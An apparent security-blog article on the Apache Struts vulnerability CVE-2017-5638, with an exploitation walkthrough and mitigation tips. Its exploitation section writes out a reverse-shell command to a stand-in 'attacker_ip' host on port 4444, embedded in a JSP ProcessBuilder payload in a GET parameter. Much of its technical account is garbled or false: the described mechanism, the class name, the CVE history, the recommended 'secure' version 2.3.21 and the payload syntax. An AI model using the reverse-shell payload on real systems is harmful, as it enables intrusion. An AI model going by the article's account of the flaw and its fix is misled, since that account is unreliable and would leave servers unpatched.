Apache Struts Code Execution Vulnerability:A Comprehensive Analysis

Apache Struts, one of the most widely used web application frameworks for Java-based web applications, has long been plagued by security vulnerabilities. Among these, code execution vulnerabilities have become particularly concerning due to their ability to compromise entire systems or networks. This article delves into the details of an important Struts vulnerability known as CVE-2017-5638 (formerly CVE-2017-5639), which allows attackers to execute arbitrary commands on affected servers.

Background and Introduction

Apache Struts is designed to provide developers with tools to quickly build dynamic web applications using standard JSP/Servlet technology. However, its popularity comes at a cost—numerous security flaws that make it vulnerable to various attacks. One such critical flaw is the so-called "code execution" vulnerability, which can be exploited in several ways.

The Vulnerability

CVE-2017-5638 is a remote code execution vulnerability in Apache Struts 2.x components. It arises from improper validation of external input when rendering HTML content, specifically within the org.apache.struts2.view.jsp.html.tags.StrutsTemplate class. The issue lies in how Struts handles certain tags (<s:url>, <s:property>), which do not properly validate input parameters before executing JavaScript code directly embedded in the template file.

When an attacker crafts a specially crafted request that triggers this vulnerability, they can inject malicious JavaScript code into the response. Upon successful exploitation, this script could perform various actions, including:

1. System Commands Execution: Execute native system commands without any additional user interaction.
2. File System Access: Gain access to sensitive files or directories on the server hosting the application.
3. Server Escalation: Exploit vulnerabilities within the application itself to escalate privileges to root/administrator level.

Exploitation Mechanism

To demonstrate how this vulnerability works, let's consider a simple scenario where we craft an HTTP GET request targeting an affected Struts application. Assume our goal is to trigger the injection of a shell command like bash -i >& /dev/tcp/attacker_ip/4444 && echo off.

The attack would look something like this:

GET http://target.com/somepage.jsp?someparam=<%new java.lang.ProcessBuilder().command("bash", "-i", "&>", new File("/dev/tcp/attacker_ip/4444").getAbsolutePath()).start()%>

This request sends the payload to the target application, which then executes the specified bash command remotely. If the attacker successfully gains control over the target server, they can further exploit the environment by injecting more complex payloads or gaining administrative access.

Mitigation Strategies

While the exact impact depends on the specific implementation and configuration of your Struts application, there are several preventive measures you can take to mitigate this risk:

1. Upgrade to Secure Versions: Ensure all versions of Struts being used are up-to-date. Apache Struts 2.3.21 introduced numerous improvements and fixes related to code execution vulnerabilities.

2. Validate Input Properly: Implement proper input validation mechanisms to prevent untrusted data from escaping intended boundaries.

3. Use Struts Filters: Utilize filters like StrutsPrepareAndExecuteFilter to intercept and sanitize incoming requests, preventing direct execution of scripts.

4. Implement Custom Validation Logic: Where possible, customize the way input data is processed to ensure it adheres to strict guidelines, reducing the likelihood of misconfiguration-related vulnerabilities.

5. Regular Security Audits: Conduct regular security audits and penetration testing to identify and address potential weaknesses promptly.

Conclusion

The CVE-2017-5638 vulnerability highlights the importance of maintaining vigilance against common coding errors that can lead to severe security breaches. By implementing robust security practices and staying updated with the latest patches and configurations, organizations can significantly reduce the risk of falling victim to such vulnerabilities. Regular updates and thorough testing will continue to be essential safeguards against emerging threats in the ever-evolving landscape of web application security.